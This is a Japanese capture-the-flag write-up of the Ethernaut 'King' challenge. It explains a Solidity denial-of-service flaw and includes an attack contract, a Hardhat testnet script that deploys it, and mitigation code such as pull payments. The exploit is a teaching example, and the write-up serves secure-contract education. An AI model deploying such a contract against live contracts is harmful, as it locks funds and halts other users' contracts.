Appearance
スマートコントラクトの「王位継承」脆弱性:Ethernaut CTF「King」チャレンジの詳細解説
はじめに
Ethereumスマートコントラクトのセキュリティは、分散型アプリケーション(DApps)の信頼性を確保する上で極めて重要です。本記事では、OpenZeppelinが提供するEthernaut CTF(Capture The Flag)の「King」チャレンジを通じて、スマートコントラクトにおける一般的な脆弱性の一つである「外部呼び出しの失敗による状態遷移の停止」について詳細に解説します。
このチャレンジは、一見単純なゲームメカニズムの中に潜む深刻なセキュリティ問題を浮き彫りにし、スマートコントラクト開発者が注意すべき重要な教訓を提供します。
チャレンジ概要
ゲームの仕組み
「King」コントラクトは、以下のシンプルなルールに基づくゲームを実装しています:
- 現在の賞金額(
prize)以上のEtherを送金したユーザーが新しい「王(king)」になる - 王位を奪われた前の王は、送金された金額を受け取る
- コントラクトの所有者(
owner)は、賞金額以下の金額でも王位を奪還できる
この仕組みは、新しい参加者が前の参加者に利益をもたらすという点で、ポンジスキーム(ねずみ講)に似た構造を持っています。
脆弱性の本質
このコントラクトの根本的な問題は、receive()関数内の外部呼び出しにあります。具体的には、payable(king).transfer(msg.value)の部分で、前の王へのEther送金が失敗した場合の処理が考慮されていません。Solidityのtransfer()メソッドは送金に失敗すると例外をスローし、トランザクション全体を元に戻しますが、この実装ではその失敗がゲームの進行を完全に停止させる可能性があります。
技術的詳細分析
コントラクトの状態変数
solidity
contract King {
address king; // 現在の王のアドレス
uint256 public prize; // 王位を奪うために必要な最小金額
address public owner; // コントラクトの所有者
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
}
このコントラクトは3つの状態変数を持ちます:
king: 現在の王のアドレス(プライベート変数)prize: 王位を奪うために必要な最小Ether量owner: コントラクトのデプロイヤーアドレス
receive()関数の脆弱性
solidity
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value); // 脆弱性のポイント
king = msg.sender;
prize = msg.value;
}
この関数には以下の問題点があります:
外部呼び出しの順序問題: 状態変数の更新(
king = msg.sender)の前に外部呼び出し(transfer())が実行されています。これは「チェック・エフェクト・インタラクション(CEI)パターン」に違反しています。失敗処理の欠如:
transfer()が失敗した場合(例:受信者がコントラクトで、receive()やfallback()関数を持たない場合)、トランザクション全体がリバートします。これにより、誰も新しい王になることができなくなります。ガス制限の問題:
transfer()は固定ガス量(2,300 gas)で実行されます。受信コントラクトがこれ以上のガスを必要とする場合、送金は失敗します。
攻撃の実装
攻撃コントラクト(Hack.sol)
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Hack {
constructor(address payable _target) payable {
// 現在の賞金額を取得
uint prize = King(_target).prize();
// KingコントラクトにEtherを送金して王位を奪取
(bool success,) = _target.call{ value: prize }("");
require(success, "Send to King ETH fail!");
}
}
この攻撃コントラクトの重要な特徴:
コンストラクタ内での攻撃: コントラクトのデプロイ時に即座に攻撃を実行します。
Ether受信機能の欠如: このコントラクトには
receive()もfallback()も実装されていません。これにより、KingコントラクトがEtherを返そうとすると失敗します。最小限の賞金額: 現在の賞金額と同額のEtherのみを送金します。
攻撃のメカニズム
王位の奪取: HackコントラクトはKingコントラクトに賞金額以上のEtherを送金し、王位を奪います。
状態の更新: Kingコントラクトは
king変数をHackコントラクトのアドレスに更新します。返金の試み: 次に誰かが王位を奪おうとすると、Kingコントラクトは前の王(Hackコントラクト)にEtherを送り返そうとします。
送金の失敗: HackコントラクトはEtherを受け取る機能を持たないため、
transfer()は失敗します。トランザクションのリバート:
transfer()の失敗により、トランザクション全体がリバートし、新しい王になることができません。
テスト実装
Hardhatテストスクリプト
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { King, Hack } from "../typechain-types";
describe("King", function () {
describe("King testnet sepolia", function () {
it("testnet sepolia King reback failure", async function () {
// コントラクトアドレスの設定
const LEVEL_ADDRESS = "0x...";
const KING_ADDRESS = "0x...";
// KingコントラクトのABI
const KING_ABI = [
"function _king() public view returns (address)",
"function owner() public view returns (address)",
"function prize() public view returns (uint256)",
];
// チャレンジャーの設定
const challenger = await ethers.getNamedSigner("deployer");
const kingContract = new ethers.Contract(KING_ADDRESS, KING_ABI, challenger);
// 初期状態の確認
let kingAddress = await kingContract._king();
expect(kingAddress).to.be.equals(LEVEL_ADDRESS);
const ETH_INITIAL_AMOUNT = ethers.parseUnits("0.001", 18);
let prizeValue = await kingContract.prize();
expect(prizeValue).to.be.equals(ETH_INITIAL_AMOUNT);
let ownerAddress = await kingContract.owner();
expect(ownerAddress).to.be.equals(LEVEL_ADDRESS);
// Hackコントラクトのデプロイと攻撃実行
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(KING_ADDRESS, {
value: ETH_INITIAL_AMOUNT
})) as Hack;
await hack.waitForDeployment();
const HACK_ADDRESS = await hack.getAddress();
// 攻撃後の状態確認
kingAddress = await kingContract._king();
expect(kingAddress).to.be.equals(HACK_ADDRESS);
prizeValue = await kingContract.prize();
expect(prizeValue).to.be.equals(ETH_INITIAL_AMOUNT);
ownerAddress = await kingContract.owner();
expect(ownerAddress).to.be.equals(LEVEL_ADDRESS);
});
});
});
防御策とベストプラクティス
1. チェック・エフェクト・インタラクション(CEI)パターンの適用
安全な実装では、状態変数の更新を外部呼び出しの前に実行すべきです:
solidity
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
// 効果:状態変数の更新
address previousKing = king;
king = msg.sender;
prize = msg.value;
// インタラクション:外部呼び出し
(bool success, ) = payable(previousKing).call{value: msg.value}("");
if (!success) {
// 失敗時の処理(例:Etherをコントラクトに留保)
// 状態は既に更新されているため、ゲームは続行可能
}
}
2. プルペイメントパターンの採用
受信者が能動的に資金を引き出す方式に変更:
solidity
mapping(address => uint256) public pendingWithdrawals;
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
// 前の王への支払いを保留中として記録
pendingWithdrawals[king] += msg.value;
// 状態の更新
king = msg.sender;
prize = msg.value;
}
function withdraw() external {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "No funds to withdraw");
pendingWithdrawals[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
3. ガス制限の考慮
transfer()の代わりにcall()を使用し、適切なガス制限を設定:
solidity
// 安全な送金方法
(bool success, ) = payable(king).call{value: msg.value, gas: 10000}("");
if (!success) {
// 失敗時の適切な処理
}
セキュリティ教訓
外部呼び出しは最後に: 状態変数の更新後に外部呼び出しを実行するCEIパターンを常に遵守すること。
失敗を想定する: 外部呼び出しは常に失敗する可能性があるため、適切なエラーハンドリングを実装すること。
transfer()の制限を理解する:transfer()は2,300 gasに制限されており、複雑なコントラクトへの送金には不適切な場合がある。プルペイメントパターンの有用性: 能動的な資金引き出しパターンは、受信者の問題による送金失敗を防ぐ有効な手段です。
結論
Ethernautの「King」チャレンジは、スマートコントラクト開発における基本的ながら重要なセキュリティ原則を教えてくれます。外部呼び出しの順序、失敗処理、ガス制限などの要素は、一見単純なコントラクトにも重大な脆弱性をもたらす可能性があります。
このチャレンジから得られる最大の教訓は、「スマートコントラクトは、すべての可能な実行パスを考慮し、特に外部呼び出しの失敗に対して堅牢でなければならない」ということです。開発者は常に最悪のシナリオを想定し、コントラクトが予期しない状態で停止したり、資金がロックされたりしないように設計する必要があります。
セキュリティはスマートコントラクト開発の最重要課題であり、このようなCTFチャレンジを通じて実践的な知識を積み重ねることが、より安全な分散型エコシステムの構築につながります。